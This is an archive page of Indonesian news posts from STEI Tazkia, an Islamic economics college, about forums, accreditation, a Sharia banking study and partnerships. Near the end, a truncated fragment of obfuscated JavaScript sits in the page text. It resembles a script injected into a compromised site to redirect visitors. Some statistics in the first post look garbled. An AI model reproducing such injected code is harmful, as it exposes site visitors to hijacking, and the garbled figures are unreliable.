All posts tagged: STEI Tazkia

Global Monetary Trend: Its Effect Towards The Growth of Islamic Finance

No comments

Senin, 14 Januari 2019 / 08 Jumadil Awal 1440 H, dengan Pemateri :Prof. Dr. Muhammad Said, MA. (Ketua Program Doktor Keuangan dan Perbankan Syariah UIN Syarif Hidayatullah) serta Moderator: Ries Wulandari,M.Si (Kepala LPPM STEI Tazkia)

Banyak pertanyaan dibenak masyarakat terkait eksistensi Ekonomi Islam dalam tataran hukum positif saat ini. Begitu pun juga para pelaku sistem ekonomi konvensional mempertanyakan apakah sistem ekonomi konvensional yang saat ini digunakan mampu menghadapi fluktuasi keuangan global.


Dalam pemaparannya di Monday Forum yang diselenggarakan LPPM STEI Tazkia, Prof. Muhammad Said mengatakan “Banyak terjadi kekhawatiran di negara-negara maju terhadap sistem keuangan saat ini, padahal teori ekonomi keuangan telah dirumuskan, namun rangkaian badai krisis belum menunjukkan titik terang akan segera berlalu, apakah penyebabnya?, apakah manusianya yang salah, ataukah premis tentang pembangunan yang kurang tepat?. Lalu bagaimana jika dengan hadirnya sistem keuangan Islam, apakah ia dapat meresolve problema-problema yang terjadi?.”
Kita saat ini hidup di era revolusi digital, platform trading online dan mata uang daring seperti bitcoin, mereka tumbuh dengan cepat sejalan dengan pertumbuhan perusahaan finansial teknologi. Fakta mengingatkan kita bahwa sistem keuangan akan selalu berkembang dan Regulator/pengawas keuangan harus selalu waspada terhadap evolusi tersebut dan berlaku tangkas menghadapinya. Dalam outlook ekonomi tahunan IMF, mengatakan bahwa kita harus berhati-hati terhadap tantangan global yang terjadi pada perekonomian dunia untuk mencegah Great Depresion yang kedua kalinya. (Wall Street Crash (1929-1930).


Premis pembangunan yang kurang tepat juga merupakan kelemahan dari sistem ekonomi dan keuangan konvensional saat ini. Agama dan moral adalah salah satu penyebab masalah ekonomi, selain itu masyarakat juga tamak terhadap uang, dan segala sesuatu. Seperti halnya Plato yang memiliki sifat serakah, Bernard de Mandevilee (1670-1733) “ The Fable of the Bees” greedy animal memberikan dampak yang negatif pada pertumbuhan dan perkembangan ekonomi dan sosial masyarakat. Adam Smith juga sangat mempercayai sifat Materialistic dan Egoistic.


Pada akhirnya kesalahan ekonomi konvensional menyebabkan ketidakadilan dan distribusi kekayaan yang tidak merata, menjadi tidak sejahtera, kesalahan dalam problem solving kemiskinan, eksploitasi sumber daya, terjadinya peperangan untuk memperebutkan sumber daya, inflasi, deflasi, pengangguran. Kesalahan dalam teori konvensional ini membuat proses pembangunan negara menjadi tidak sempurna.
Lalu, bagaimanakah resolusi Islam atas pembangunan ekonomi dan keuangan modern ini. Prof Muhammad Said mengatakan bahwa dalam Islam, manusia adalah sebagai agen ekonomi, yang menjadi makhluk madani, bukan hanya memenuhi keinginan akan tetapi memenuhi kebutuhan akan material dan spiritual. Spiritual manusia menjadi lokus personal yang membuat Ekonomi dan Keuangan Islam dibangun atas dasar hakekat manusia, jasmani dan rohani.
Dalam pembangunan Ekonomi dan Keuangan Islam, menerapkan hukum Islam dalam ekonomi alam, hal ini tumbuh secara cepat di negara barat maupun negara timur. Dalam perkembangan jangka pendek ekonomi dan keuangan Islam masih belum stabil, akan tetapi dalam jangka panjang ekonomi Islam akan menjadi kuat, ia akan tumbuh 30% per tahun sejalan dengan kaum muslim yang telah menggunakan jasa keuangan saat ini sebanyak 1,4 juta orang. Menurut Nida (2016) hari ini industri keuangan telah memakai sistem keuangan Islam secara menyeluruh. Pangsa pasar pada akhir tahun 2018 juga mencapai $ 3,4 juta.

Rizqi ZakiyaGlobal Monetary Trend: Its Effect Towards The Growth of Islamic Finance
read more

“Gerakan Tazkia Mengajar” Kontribusi nyata Mahasiswa STEI Tazkia di Masyarakat

No comments

[Press Rilis Grand Opening GTM-GO]

Alhamdulillah pada hari Rabu, 16 Januari 2019 telah dilaksanakan acara pembukaan Program Gerakan Tazkia Mengajar (GTM) GO yang langsung dibuka oleh Kepala Sekolah MI Hidayatussibyan, Bapak Abdul Rahman. Rangkaian acara dimulai dengan lantunan ayat suci Al-Qur’an oleh Saudara Ghaznawi Ihyamukhti, dan sambutan-sambutan dari Ketua Pelaksana, Nawarendra dan Pak Aman, sapaan akrab Pak Abdul Rahman. Dilanjut dengan perkenalan peserta GTM GO sebanyak 40 orang yang terdiri dari berbagai angkatan, mulai angkatan 18, 17, dan 16. Dan ditutup dengan do’a oleh saudara Naufal Ahmad.

Acara yang berlangsung di Majlis ta’lim Bahrul Ulum kp. Cihandeuleum RT.01/05 Desa Wargajaya Kecamatan Sukamakmur Bogor ini berlangsung khidmat dan disambut antusias dari masyarakat terutama Kepala Sekolah dan peserta itu sendiri. Sekolah yang bernaung dalam Yayasan Yaspia ini berdiri sejak tahun 1953 yang masih belajar di teras2 rumah, kemudian sekitar tahun 1970-an mulai berdiri madrasah khusus, dan pada tahun 2006 mengibarkan sayapnya dengan mendirikan MTs Al-Amanah. Besar harapan dari masyarakat Sukamakmur untuk mengembangkan sekolah ke jenjang yang lebih tinggi setingkat SLTA-Sederajat.

Rizqi Zakiya“Gerakan Tazkia Mengajar” Kontribusi nyata Mahasiswa STEI Tazkia di Masyarakat
read more

STEI Tazkia Berkomitmen Terbaik dalam Proses Akreditasi, Incar Akreditasi Global pada 2025

No comments

STEI Tazkia terus berkomitmen menyelenggarakan pendidikan ekonomi syariah terbaik di Indonesia dan mampu bersaing di level global

Kampus pelopor ekonomi Islam, Sekolah Tinggi Ekonomi Islam (STEI) Tazkia pada tahun ini memasuki tahun visitasi Badan Akreditasi Nasional Perguruan Tinggi (BAN-PT). Visitasi terbanyak bagi kampus yang berlokasi di Sentul City ini. Dimulai dengan proses akreditasi Program Studi Bisnis Manajemen Islam pada Juli lalu, disusul dengan visitasi ahli status dari sekolah tinggi menjadi institut pada Agustus 2018.

Kemudian pada 4-6 Desember 2018, yang lalu telah diadakan visitasi untuk akreditasi ulang Program Studi Ekonomi Islam. Pada 10-11 Desember 2018, baru saja berlangsung akreditasi institusi.

Hasil dari seluruh visitasi tersebut adalah, semua program studi sudah terakreditasi B (Baik), dan satu di antaranya, yaitu Program Studi Akuntansi Syariah berpredikat Akreditasi A (Sangat Baik).

Ketua STEI Tazkia, Dr. Murniati Mukhlisin, M.Acc menyatakan bahwa pihaknya bersyukur atas perolehan akreditasi tahun ini. Ini menunjukkan keseriusan pihaknya. “Dengan tekad memastikan kualitas pendidikan, kampus Tazkia selalu serius dalam menjalankan proses akreditasi”, kata Murniati menjelaskan.

Namun masih perlu ditingkatkan ke level internasional. “Sesuai dengan visi-misi Kampus Tazkia, akreditasi nasional perlu ditingkatkan menjadi akreditasi internasional karena pada tahun 2025, Kampus Tazkia berazam ingin menjadi rujukan global” kata Murniati menambahkan.

Cita-cita ini juga tak terlepas dari mulai banyaknya pengajar dan mahasiswa STEI Tazkia yang meraih prestasi nasional dan internasional. Salah satunya yang terbaru adalah keikutsertaan delapan dosen senior STEI Tazkia mengikuti the 6th ASEAN Universities International Conference on Islamic Finance (the 6th AICIF) yang diadakan oleh International Council of Islamic Finance Educators (ICIFE) di Manila, Filipina pada 14-15 November 2018. Baca juga: Dosen tazkia Go Asean

Di level lokal, Otoritas Jasa Keuangan (OJK) baru saja menggandeng Lembaga Penelitian dan Pemberdayaan Masyarakat (LPPM) STEI Tazkia, untuk kajian inovasi produk perbankan syariah.

Kajian yang dilakukan pada Mei – November 2018 ini merekomendasikan 10 model bisnis baru untuk perbankan syariah Indonesia. Model bisnis baru ini akan menghasilkan produk akan dinamakan Shariah Restricted Intermediaries Account (SRIA). Baca juga: 10 Model Bisnis Baru Perbankan Syariah

Sementara, Wakil Ketua Bidang Akademik STEI Tazkia, Andang Heryahya, Mpd., Mpdi., yang juga bertanggung jawab atas proses akreditasi di STEI Tazkia menambahkan, “Kami semua berharap hasil dari proses akreditasi ini akan memberikan nilai terbaik untuk kampus kami, tentu saja kami berharap nilainya A”.

Menuju Pendidikan Ekonomi Syariah Terlengkap
Selama 18 tahun ini Sekolah Tinggi Ekonomi Islam Tazkia menawarkan program ekonomi syariah yang dimulai dengan pengkhususan mencetak ahli perbankan dan keuangan syariah.

Seiringnya waktu, STEI Tazkia juga menawarkan program studi hukum ekonomi syariah, keuangan mikro syariah dan pendidikan ekonomi syariah.

Banyak kelebihan yang dimiliki STEI Tazkia dari segi Tridharma pendidikan dimulai dari kualitas dosen pengajar, sistem pengajaran yang sudah mengarah ke kurikulum internasional, penelitian dan publikasi di jurnal nasional dan internasional, pengabdian masyarakat baik di sekitar lingkungan kampus hibgga ke mancanegara.

Namun kekurangannya masih juga ada yaitu belum adanya dosen berstatus guru besar yang dinobatkan oleh kampus Tazkia, terbatasnya dosen yang menguasai ilmu ekonomi dan pengetahuan fiqh yang kuat serta terbatasnya lahan kampus untuk asrama mahasiswa.

“Kami berterima kasih atas dukungan dari segenap stakeholders baik itu dari internal yayasan, orangtua mahasiswa, alumni, para mitra dan pengguna alumni di dalam maupun luar negeri, badan otoritas negara serta pemerintah daerah yang senantiasa mendukung program-program Tazkia” kata Murniati menutup.

Download Siaran Persnya di Sini 

Miftahul AnwarSTEI Tazkia Berkomitmen Terbaik dalam Proses Akreditasi, Incar Akreditasi Global pada 2025
read more

10 Model Bisnis Baru Perbankan Syariah

1 comment

Otoritas Jasa Keuangan (OJK) menggandeng Lembaga Penelitian dan Pemberdayaan Masyarakat (LPPM) STEI Tazkia, adakan kajian inovasi produk perbankan syariah.

Kajian yang dilakukan pada Mei – November 2018 ini merekomendasikan 10 model bisnis baru untuk perbankan syariah Indonesia. Model bisnis baru ini akan menghasilkan produk akan dinamakan Shariah Restricted Intermediaries Account (SRIA).

Pemaparan hasil kajian dilakukan pada Seminar Akhir Tahun Perbankan Syariah yang digelar OJK di Ballroom Hotel Ayana, Mid Plaza, Jl. Jendral Sudirman Kavling 10 – 11, Jakarta Pusat, Kamis (6/12).

Produk ini nantinya akan menggunakan beberapa akad seperti Mudharabah Muqayyadah, Musyarakah, Ijarah, dan Murabahah. “Produk dihasilkan setelah melalui proses brainstorming dengan industri perbankan syariah pada 7 Juni 2018, Focus Grup Discussion (FGD) pertama pada 23 Agustus 2018, dan FGD kedua pada 17 Oktober 2018, dihasilkanlah dua model utama yaitu One to one, Many to One, One to Many Mudharabah Muqayyadah, di mana Shahibul maal akan menempatkan dana kepada Bank Syariah yang dalam hal ini menjadi Mudharib”, kata Ketua Tim Peneliti yang juga Kepala LPPM STEI Tazkia, Ries Wulandari M. Si.

Apa nilai lebih (value proposition) yang ditawarkan produk baru ini? Menurut Ries Wulandari, akan dilakukan pembagian keuntungan dan kerugian (profit and loss sharing), tidak adanya penjaminan modal dan tidak dapat ditarik sebelum jatuh tempo. “Value proposition ini diharapkan akan sedikit demi sedikit menghapus stigma masyarakat terhadap operasional bank syariah saat ini”, kata Ries menambahkan.

Dalam riset kali ini, anggota tim peneliti terdiri dari tiga dosen STEI Tazkia, lintas program studi, yaitu Yaser Taufik Syamlan CIFP.,ME, dosen Manajemen Bisnis Syariah (MBS) dan Ketua Prodi D3 Manajemen Keuangan Mikro Syariah (MKMS), Aminah Nuriyah, ME, dosen MBS, dan Ibu Netty DH M.E.Sy, dosen Tadris.

Output dari penelitian ini mencakup model bisnis produk baru, standar operasi atau SOP, akad perjanjian, serta contoh kasus pencatatan akuntansi.

Direktur Perbankan Syariah Deden Firmansyah, menyampaikan dalam sambutannya bahwa kajian yang disampaikan pada Seminar Akhir Tahun Perbankan Syariah OJK ini, merupakan bagian dari strategi pengembangan Perbankan Syariah 2019.

LPPM STEI Tazkia sebagai peneliti berharap bahwa kajian ini akan mendorong pertumbuhan perbankan syariah dan meningkatkan kue pasar yang saat ini masih berkutat di angka lima persen.

Selain itu, Deputi Direktur Direktorat Perbankan Syariah (DPbS), Dr. Setiawan Budi Utomo juga mengharapkan bahwa produk SRIA ini dapat dijalankan mulai 2019.

Rizqi Zakiya10 Model Bisnis Baru Perbankan Syariah
read more

PDO BEM STEI Tazkia mengusung Isu Global SDGs

No comments

Bogor, 25 November 2018 BEM STEI Tazkia mengadakan Pelatihan Dasar Organisasi di International Auditorium 3.1 Kampus STEI Tazkia. Mengusung tema “Run through SDG’s: Dedication and Integrity as Youth’s Core Value”, PDO 2018 ingin memberikan outcome berupa program-program yang memiliki dampak berkelanjutan yang akan dieksekusi oleh seluruh organisasi REMA STEI Tazkia dengan penuh dedikasi dan integritas. PDO 2018 dihadiri oleh 71 petinggi organisasi dan UKM meliputi ketua, wakil ketua, kepala divisi, dan wakil ketua divisi.

Acara dibuka dengan lantunan ayat suci Al-Qur’an pada pukul 08.00, dilanjutkan dengan pemaparan materi pertama oleh Saudara Gilang Ardana yang merupakan Co-founder dan CEO Youth Corps Indonesia. Materi pertama ini mengangkat isu Menejemen Organisasi yang sangat mampu membuka cakrawala berpikir peserta hingga kemudian dapat menjalankan program dengan dasar kebermanfaatan. Selain itu, pengelolaan hubungan dengan stakeholders di masing-masing organisasi juga menjadi diskusi menarik. Materi pertama ini ditutup dengan Focus Group Discussion antar sesama bidang organisasi.

Rizqi ZakiyaPDO BEM STEI Tazkia mengusung Isu Global SDGs
read more

International Talk Series Waqf Management in Ottoman Empire Era

No comments

The International Talk Series recently presented the Director of ISEFAM Sakarya University, Assoc. Prof. Dr. Sulëyman KAYA. The Talk Series was utilising webinars, the seminars through the web. Irham Amir, L.c, M.Sc. opened the seminar as the moderator and the translator. Talk Series continued with a speech by Dr. Syafi’i Antonio as the chairman of the Tazkia Foundation. Sir. Syafi’i explained the general condition of Waqf in Indonesia and shows his interest to know about Waqf in Ottoman Empire such as Cash Waqf. Following this, Mr. Irham invited Prof. Sulëyman to deliver the seminar.


Prof. Sulëyman explained the Waqf system in the Ottoman Empire. The Ottoman Waqf institution managed most of Ottoman lands at that time. Not only land, property and money (Dinars and Dirhams) are also used as objects of Waqf. Qardhul hasan and ba’I istighlal were the most used contract for Waqf in this empire. These had a profound effect on the state. The professor also discussed the legal endowments with goods containing elements of usury. The institution ensured that the goods used were halal in term of Islam perspective. Some Ottoman scholars said that endowments with items with usury are not permitted while others allowed if the element of unavoidably usury less than 15 per cent. After the collapse of the Ottoman Empire, Waqf management was dramatically felling down. Turkish welfare was threatened. Some of the existing Waqf land has turned into a church.

Even now there are many mosques built by individuals not by the institution. As such, the Turkish government now seeks to restore the function and role of Waqf institution in order to return the Glory of Ottoman Waqf Management.

The next session is question and answer guided by the moderator. The first questioner asked about the Waqf application system. Prof. Sulëyman said that no application nowadays is used yet. The Turkish Waqf system still utilises conventional method by sending administrators from branch offices to inhabitants collect Waqf assets and manage Waqf. The second questioner asked the contribution of Waqf to the country’s income, and the professor stated that Waqf in Ottoman empire did not contribute to state’s income, so that the profits obtained were directly managed by the Waqf institution.

The third questioner asked is Waqf in Turkey spread in Turkey only or abroad? Prof. Sulëyman answered that Waqf was also distributed to Sudan, Nigeria and Palestine in which more focused on daily needs funds. The question and answer session ended up after the Asr Athan, and the moderator closed the seminar.

Watch the live video of this event:

Rizqi ZakiyaInternational Talk Series Waqf Management in Ottoman Empire Era
read more

STEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia

No comments

Gaung STEI Tazkia semakin menggema di negeri Jiran Malaysia. Pada hari Selasa, 13 November 2018, telah dilaksanakan penandatanganan kerjasama antara STEI Tazkia dan International Institute of Advanced Islamic Studies (IAIS) Malaysia. Lembaga ini merupakan lembaga penelitian tentang keagamaan Islam yang didukung penuh oleh pemerintah Malaysia.

Kerjasama meliputi bidang penelitian, seminar, publikasi dan praktik magang untuk mahasiswa Tazkia.
Kerjasama ini ditandangani oleh Prof. Mohammad Hashim Kamali (Founding CEO IAIS) dan Dr. Mukhammad Yasid (direktur Pascasarjana Tazkia).


Menariknya, kerjasama ini disaksikan langsung oleh menteri Agama Malaysia, Dr. Mujahid Yusof Rawa.
Seremoni ini dilaksanakan bertepatan dengan peringatan 10 tahun IAIS. Diperkirakan 150 orang baik akademisi, praktisi dan pemerintah yang turut hadir dalam acara ini.

Rizqi ZakiyaSTEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia
read more

Hadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total

No comments

Bogor, Jumat, 2 November 2018 / 24 Shafar 1440. Masjid Andalusia Kampus Tazkia kehadiran Tamu Istimewa. Al Ustadz Abdul Somad, LC, M.A. hadir mengisi tabligh Akbar bersama Dr. Muhammad Syafii Antonio (Pakar Ekonomi Syariah dan Pembina Tazkia Group) dengan moderator Dai Muda Hilman Fauzi, S.E.I, M.E.Sy (Alumni Kampus Tazkia S1 & S2). Hadir ribuan jama’ah memadati acara yang disponsori oleh Jama’ah Pengajian Andalusia, Tazkia Group dan Sentul City ini.

Mengusung tema Menuju Indonesia Baru dengan Kekuatan Ekonomi Ummat. Dr. Syafi’i Antonio mengawali dengan mengungkapkan data-data penting bahwa ummat muslim Indonesia mampu bangkit jika bersatu padu bersama menghidupkan Ekonomi Syariah untuk menyokong Ekonomi Ummat. 87% ummat muslim masih mayoritas menjadi konsumen dari 13% konglomerat yang menguasai produk pokok nasional. Al Ustadz Abdul Somad pun melanjutkan pentingnya belanja di toko sekitar, milik ummat serta mempersiapkan generasi ummat yang akan memperjuangkan Ekonomi Ummat dengan Ekonomi Syariah.

Beliau juga menyerukan kepada seluruh petinggi pemerintah, yang memilki kekuasaan untuk memanfaatkan kekuasaan untuk kepentingan ummat, memperkuat praktik keuangan syariah, mendukung ekonomi masyarakat sekitar dan kebijakan positif lain yang memberikan manfaat besar untuk ummat meskipun sudah lepas dari jabatan nanti.

Kampus Tazkia berkali kali disebut oleh Al Ustadz menjadi lembaga yang siap membekali generasi muda yang akan memperjuangkan Ekonomi Syariah di masa depan. Sehingga Ummat Islam mampu menjadi tuan di Negeri sendiri dengan Ekonomi Syariah sebagai solusinya.

 

Rizqi ZakiyaHadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total
read more

Kembali, Kolaburasi STEI Tazkia & Maybank Syariah Menghadirkan Research Camp ke-3

No comments

Bogor, Jawa Barat, Indonesia. 25-26 Oktober 2018 M / 16-17 Shafar 1440 H. Setelah sukses dalam dua Executive Research Camp sebelumnya, STEI Tazkia berkolaburasi dengan Maybank Syariah kembali mengadakan Executive Research Camp (ERC) yang Ke-3. Hadir mengikuti program ini peserta dari berbagai daerah diantaranya Jogyakarta, Medan, juga Salatiga.

Ketua STEI Tazkia Dr. Murniati Mukhlisin selaku reviewer dan reseacher yang berpengalaman, berbagi banyak hal sebagai tips yang berharga untuk menulis paper yang berkualitas. Beliau juga memaparkan metode, serta tahapan-tahapan agar paper yang kita tulis dapat diterima diterima oleh jurnal-jurnal populer dalam skala global.

Dengan ERC ini diharapkan seluruh peserta mendapatkan bekal yang berharga untuk menerbitkan lebih banyak penelitian baik untuk kepentingan karya tulis ilmiah meraih magister ataupun doktoral, maupun untuk penerbitan jurnal terakreditasi global.

Rizqi ZakiyaKembali, Kolaburasi STEI Tazkia & Maybank Syariah Menghadirkan Research Camp ke-3
read more

Penandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0

No comments

Kamis, 4 Oktober 2018 / 25 Muharram 1440 H. bertempat di Auditorium Lantai 8 Universitas Pamulang, STEI Tazkia dan Universitas Pamulang menandatanganiA�Memorandum of UnderstandingA�(MOU) kerjasama di bidang Peningkatan Aspek Tri Dharma Perguruan Tinggi dan peningkatan kualitas SDM. Kerjasama ini mencakup pengembangan pendidikan, penelitian, dan pengabdian masyarakat diantara kedua kampus. Adapun penandatanganan dilakukan oleh Rektor Universitas Pamulang Bapak Dr.H. Dayat Hidayat, MM dan Ketua STEI Tazkia Ibu Dr. Murniati Mukhlisin, M.Acc.

Penandatanganan MOU ini dilakukan bersamaan dengan diselenggakannya Seminar Nasional bertema a�?Sharia Accounting Crucial To Meet Challenge of Industry 4.0a�?, Dr. Murniati Mukhlisin menjadi narasumber dalam kegiatan ini bersama Prof. Tjiptohadi Sawarjuwono, M.Ec, Ph.D., CPA.,CA yang merupakan Guru Besar Fakultas Ekonomi Universitas Airlangga. Adapun peserta yang hadir pada kegiatan tersebut terdiri dari mahasiswa, dosen, dan civitas akademika program studi Akuntansi Universitas Pamulang serta tamu dari pihak mitra seperti Bursa Efek Indonesia, PT Zahir Internasional, STIE Banten, dan Desa Binaan Universitas Pamulang.

Pemaparan disampaikan oleh Dr. Murniati Mukhlisin, M.Acc diawali dengan perkembangan Ekonomi Syariah dibeberapa negara termasuk negara non-muslim baik di Eropa maupun Asia, pemaparan dilanjutkan dengan pengenalan Fintech termasuk keunggulan dan kelemahan serta tantangan Fintech di Indonesia. Dr. Murniati Mukhlisin menjabarkan bahwa Fintech sangat diperlukan dikarenakan penyebaran kredit Syariah saat ini hanya berpusat di Pulau Jawa dengan persentase 60%, diharapkan adanya Fintech dapat membantu perkembangan kredit Syariah hingga ke pelosok-pelosok nusantara. Pengembangan Fintech, tambah Murniati, dapat dilakukan dalam sektor ekonomi kreatif seperti halal fashion, game, dan lain sebagainya dengan tetap memperhatikan unsur Syariat Islam.

Sesi pemaparan disajikan lebih menarik oleh Murniati atau yang lebih akrab di sapa dengan Madam Ani dengan adanya hadiah bagi peserta yang dapat menjawab kuis yang diajukan beliau. Selain itu, antusiasme peserta terhadap isu hangat Fintech ini dibuktikan banyaknya pertanyaan yang masuk dari kalangan mahasiswa. Seminar ini ditutup dengan pemberian hadiah diberikan oleh Madam Ani kepada 6 orang penanya terbaik serta penjawab kuis dengan jawaban terbaik sekaligus foto bersama.

  46d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaPenandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0
read more